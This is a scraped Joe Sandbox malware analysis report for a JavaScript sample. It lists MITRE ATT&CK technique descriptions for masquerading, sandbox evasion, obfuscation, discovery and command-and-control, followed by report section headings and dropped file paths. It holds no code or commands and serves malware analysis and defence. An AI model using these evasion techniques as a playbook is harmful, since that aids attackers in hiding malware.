Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 10259286552329511027.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\20270829-22d7-4519-8481-979e89aae970.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5e28ac.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d7771e92-a63f-4c3e-a8b5-9fe0172f172a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
10259286552329511027.js